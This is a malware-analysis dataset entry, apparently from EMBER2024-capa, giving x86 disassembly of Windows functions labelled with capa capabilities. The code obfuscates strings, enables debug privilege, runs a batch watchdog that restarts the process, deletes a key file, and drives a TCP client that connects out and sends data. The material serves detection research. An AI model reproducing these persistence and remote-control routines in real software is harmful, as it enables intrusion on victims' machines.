joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41214d
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
xor esi, esi
push esi
xor edi, edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x5570e4
push 1
push esi
push 0x5570c4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x412182
xor eax, eax
jmp 0x412215
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push esi
lea edx, [ebp - 4]
push edx
push 0x5570d4
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x41217b
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
jmp 0x4121f6
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x556d08
push esi
push esi
push eax
call dword [ecx + 0x24]
test eax, eax
js 0x4121ed
push 8
pop eax
push esi
lea edx, [ebp - 0x24]
push edx
mov word [ebp - 0x24], ax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push str.FriendlyName
push eax
call dword [ecx + 0xc]
test eax, eax
jne 0x4121e4
push dword [ebp - 0x1c]
inc edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x4121a4
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x412324
Capabilities:
Contain obfuscated stackstrings
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x433]
push ebx
push eax
mov byte [ebp - 0x434], bl
call fcn.00502190
push dword [ebp + 0x10]
push ebx
push esi
call fcn.00502190
push 0x400
lea eax, [ebp - 0x434]
push ebx
push eax
call fcn.00502190
push edi
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x434]
push eax
mov dword [ebp - 0xc], 0x74736f48
mov byte [ebp - 8], bl
mov dword [ebp - 0x34], 0x54535953
mov dword [ebp - 0x30], 0x435c4d45
mov dword [ebp - 0x2c], 0x65727275
mov dword [ebp - 0x28], 0x6f43746e
mov dword [ebp - 0x24], 0x6f72746e
mov dword [ebp - 0x20], 0x7465536c
mov dword [ebp - 0x1c], 0x7265535c
mov dword [ebp - 0x18], 0x65636976
mov dword [ebp - 0x14], 0x73255c73
mov byte [ebp - 0x10], bl
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
push dword [ebp + 0x10]
lea eax, [ebp - 0xc]
push ebx
push esi
push 1
push eax
lea eax, [ebp - 0x434]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00411058
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x50
push esi
call edi
test eax, eax
jne 0x412412
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_gethostname]
push esi
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret
Function at 0x4124b7
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x412515
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x41250c
mov dword [ebp - 0x10], ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret

Function at 0x4126d8
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, 0x103
push ebx
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call fcn.00502190
push 5
pop ecx
mov esi, str.CTXOPConntion_Class
lea edi, [ebp - 0x108]
rep movsd dword es:[edi], dword [esi]
push 0xf0
xor edi, edi
lea eax, [ebp - 0xf4]
push edi
push eax
call fcn.00502190
push ebx
lea eax, [ebp - 0x30f]
push edi
push eax
mov byte [ebp - 0x310], 0
call fcn.00502190
add esp, 0x24
push edi
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebx, eax
cmp ebx, edi
je 0x4127fd
mov esi, 0x104
lea eax, [ebp - 0x108]
push str.CTXOPConntion_Class
push eax
call fcn.00504a90
pop ecx
pop ecx
test eax, eax
jne 0x4127db
push esi
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x108]
push eax
call fcn.00504590
pop ecx
dec eax
cmp byte [ebp + eax - 0x108], 0x5f
jne 0x412795
lea eax, [ebp + eax - 0x107]
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.00504620
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00504630
lea eax, [ebp - 0x20c]
push 0x52d948
push eax
call fcn.00504630
add esp, 0x18
push 2
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov ebx, eax
push esi
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetClassNameA]
cmp ebx, edi
jne 0x412762
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x20c]
push eax
call fcn.00412665
lea eax, [ebp - 0x20c]
push eax
call fcn.00504590
pop ecx
pop ecx
pop edi
pop esi
cmp eax, 4
pop ebx
lea eax, [ebp - 0x20c]
ja 0x412831
mov eax, 0x52e5f0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005025ee
leave
ret
Function at 0x412ce2
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x103
xor ebx, ebx
push edi
lea eax, [ebp - 0x45b]
push ebx
push eax
mov byte [ebp - 0x45c], bl
call fcn.00502190
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x45c]
push eax
push ebx
call esi
push edi
lea eax, [ebp - 0x357]
push ebx
push eax
mov byte [ebp - 0x358], bl
call fcn.00502190
add esp, 0xc
push 0x104
lea eax, [ebp - 0x358]
push eax
push ebx
call esi
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
call fcn.00412c8e
push eax
lea eax, [ebp - 0x150]
push 0x52e718
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x150]
push eax
mov dword [ebp - 0xc], 0x7461622e
mov byte [ebp - 8], bl
call esi
push edi
lea eax, [ebp - 0x253]
push ebx
push eax
mov byte [ebp - 0x254], bl
call fcn.00502190
add esp, 0xc
push 1
push 0x1a
lea eax, [ebp - 0x254]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x254]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call fcn.00504630
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x254]
push eax
call fcn.00504630
push edi
lea eax, [ebp - 0x10f]
push ebx
push eax
mov byte [ebp - 0x110], bl
call fcn.00502190
add esp, 0x1c
push str._echo_off_n_r_set__file
lea eax, [ebp - 0x110]
push eax
call esi
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x110]
push eax
call esi
mov edi, 0x52e6fc
push edi
lea eax, [ebp - 0x110]
push eax
call esi
push str.for__f__delims____I_in____file____do_set__image__nxI__n_r
lea eax, [ebp - 0x110]
push eax
call esi
push str.:begin_n_r
lea eax, [ebp - 0x110]
push eax
call esi
push str.tasklistfind__i___image___n_r
lea eax, [ebp - 0x110]
push eax
call esi
push str.if___errorlevel___1__start_____
lea eax, [ebp - 0x110]
push eax
call esi
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x110]
push eax
call esi
push edi
lea eax, [ebp - 0x110]
push eax
call esi
push str.goto_begin_n_r
lea eax, [ebp - 0x110]
push eax
call esi
push ebx
push 2
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
lea eax, [ebp - 0x460]
push eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret
Function at 0x412ee1
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x130], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x12c]
push eax
mov esi, 0x128
push edi
mov dword [ebp - 0x12c], esi
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x412f3d
jmp 0x412f6f
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.00504a90
pop ecx
pop ecx
test eax, eax
je 0x412f56
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 0x12c], esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x412f2a
jmp 0x412f62
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x130], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret

Function at 0x412fbd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call fcn.0041226b
pop ecx
mov esi, eax
call fcn.0041222b
test eax, eax
je 0x413024
cmp esi, 1
je 0x413024
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0xc], 0x642e6b73
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
call fcn.00504590
pop ecx
mov ecx, dword [0x57c184]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x57c158
call fcn.00410776
mov byte [0x57c188], 1
jmp 0x41305e
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x335f6b73
mov dword [ebp - 0x14], 0x6c642e32
mov word [ebp - 0x10], 0x6c
call fcn.00504590
pop ecx
mov ecx, dword [0x57c184]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x57c158
call fcn.00410776
mov byte [0x57c188], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.005025ee
leave
ret

Function at 0x41306b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x2c]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4130fe
push ebx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
xor ebx, ebx
push eax
push ebx
mov dword [ebp - 0x18], 0x65446553
mov dword [ebp - 0x14], 0x50677562
mov dword [ebp - 0x10], 0x69766972
mov dword [ebp - 0xc], 0x6567656c
mov byte [ebp - 8], bl
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x4130f4
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov dword [ebp - 0x28], 1
call esi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x28]
push eax
push ebx
push dword [ebp - 0x2c]
mov dword [ebp - 0x1c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
call esi
pop esi
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005025ee
leave
ret
Function at 0x41330e
Capabilities:
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x52e734
push 0x52e724
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0x1a
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x108]
push str._._mnbvcxz_lkjhgfdsa__poiuytrewq
push eax
call fcn.00504630
lea eax, [ebp - 0x108]
push str.6gkIBfkSqY
push eax
call fcn.00504630
lea eax, [ebp - 0x108]
push str..key
push eax
call fcn.00504630
add esp, 0x18
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x413416
Capabilities:
Print debug messages

Disassembly:
push esi
push 0x52e750
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call fcn.0041306b
call fcn.00412f7e
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00413139
int3

Function at 0x41345b
Capabilities:
Check mutex on windows

Disassembly:
push esi
push 0x52e75c
xor esi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x413482
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x413482
xor eax, eax
pop esi
ret 0x10
push esi
push esi
push esi
push esi
push 0x413397
push esi
push esi
call fcn.00411e57
add esp, 0x1c
mov esi, eax
push 0x7d0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00413139
int3

Function at 0x4138b1
Capabilities:
Initialize winsock library

Disassembly:
push 0x198
mov eax, 0x51eb95
call fcn.00502666
mov esi, ecx
lea ecx, [esi + 4]
mov dword [ebp - 0x1a4], esi
mov dword [esi], vtable.CClientSocket.0
call fcn.00413608
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], ebx
call fcn.00413608
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.00413608
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.00413608
lea eax, [ebp - 0x1a0]
push eax
push 0x202
mov byte [esi + 0xbc], 1
mov dword [esi + 0xc0], 0xc
mov dword [esi + 0xc4], ebx
mov dword [esi + 0xc8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
or dword [esi + 0xa8], 0xffffffff
push 4
mov dword [esi + 0xac], eax
lea eax, [esi + 0xb0]
push str.F_f
push eax
mov byte [esi + 0xb4], bl
mov dword [esi + 0xa4], ebx
mov dword [esi + 0xd0], ebx
mov byte [esi + 0xd4], bl
call fcn.005027d0
add esp, 0xc
mov eax, esi
call fcn.005026e9
ret
Function at 0x4139d5
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.WS2_32.dll_send]
mov ebx, ecx
mov dword [ebp + 8], eax
cmp eax, dword [ebp + 0x10]
jb 0x413a35
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x10]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x413a16
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xf
jl 0x4139fb
cmp dword [ebp - 8], 0xf
je 0x413a6b
add dword [ebp - 4], eax
add esi, dword [ebp + 0x10]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 8], eax
cmp dword [ebp + 8], eax
jae 0x4139f7
cmp dword [ebp + 8], 0
jle 0x413a63
and dword [ebp + 0x10], 0
push 0
push dword [ebp + 8]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x413a5a
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x413a3f
cmp dword [ebp + 0x10], 0xf
je 0x413a6b
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x413a6e
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x414006
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x579c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, byte [ebp + 0x10]
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
mov byte [esi + 0xd4], al
call fcn.00413a75
mov ecx, esi
call fcn.0041398e
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
xor ebx, ebx
push 2
mov byte [esi + 0xb4], bl
call dword [sym.imp.WS2_32.dll_socket]
push edi
mov dword [esi + 0xa8], eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
cmp edi, ebx
jne 0x41406d
xor al, al
jmp 0x414161
push 2
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push 0x10
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x414066
push 4
lea eax, [ebp - 0x30]
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
mov dword [ebp - 0x30], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x414110
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
push ebx
mov dword [ebp - 0x2c], ebx
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
push ebx
stosd dword es:[edi], eax
lea eax, [ebp - 0x34]
push eax
push 0xc
lea eax, [ebp - 0x2c]
push eax
push 0xc
lea eax, [ebp - 0x10]
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0xc], 0xea60
mov dword [ebp - 8], 0x1388
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x34], ebx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
mov byte [esi + 0xb4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 1
push ebx
push ebx
push esi
push 0x413f1f
push ebx
push ebx
mov dword [esi + 0xcc], eax
call fcn.00411e57
add esp, 0x1c
mov dword [esi + 0xa4], eax
cmp byte [esi + 0xd4], bl
je 0x41415f
push 1
push ebx
push ebx
push esi
push 0x413cc9
push ebx
push ebx
call fcn.00411e57
add esp, 0x1c
mov dword [esi + 0xd0], eax
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005025ee
leave
ret 0xc

Function at 0x419fc2
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.00419c66
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x41a00c
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0041656c
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0041653d
jmp 0x41a017
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.00418150
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x41a01d
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0041a173
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x41a05a
call fcn.00419c66
mov dword [esi + 0xc], 1
jmp 0x41a05f
call fcn.00419c66
cmp dword [esi], 0
je 0x41a0a8
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x41a080
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0041656c
jmp 0x41a092
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.004148a4
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0041653d
jmp 0x41a0cc
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x41a0cc
push dword [esi]
push dword [ebp + 8]
call fcn.00418150
pop esi
pop ebp
ret 0xc

Function at 0x41a4a9
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x522ed9
call fcn.005025fd
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x41a4ce
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x41a520
call fcn.0041528a
push eax
lea ecx, [ebp - 0x10]
call fcn.004146f1
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00505cc4
push eax
call fcn.0041432a
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00406dee
mov eax, esi
call fcn.005026d5
ret 8

Function at 0x421eab
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x421ef2
call fcn.00416447
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x421ef2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x421f0e
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004219ab
mov esi, eax
test edi, edi
je 0x421f0c
test ebx, ebx
je 0x421f0c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x42519e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00416447
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4251d7
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00424ddb
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x425235
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x425259
cmp dword [edi + 0x74], 0
jne 0x425259
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00416447
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004251f6
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42ad8a
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0045fdb4
call fcn.00415e64
cmp dword [eax + 0x14], 0
jne 0x42ada7
mov ecx, esi
pop esi
jmp fcn.0042a88f
pop esi
ret

Function at 0x42e435
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.00470992
call fcn.00415e64
cmp dword [eax + 0x14], 0
jne 0x42e452
mov ecx, esi
pop esi
jmp fcn.0042de08
pop esi
ret

Function at 0x46492c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x464946
call fcn.00416447
mov esi, dword [eax + 0xc]
push dword [0x58069c]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x464964
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x46495c
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x464991
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x46495e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.0046485a
mov esi, eax
jmp 0x464983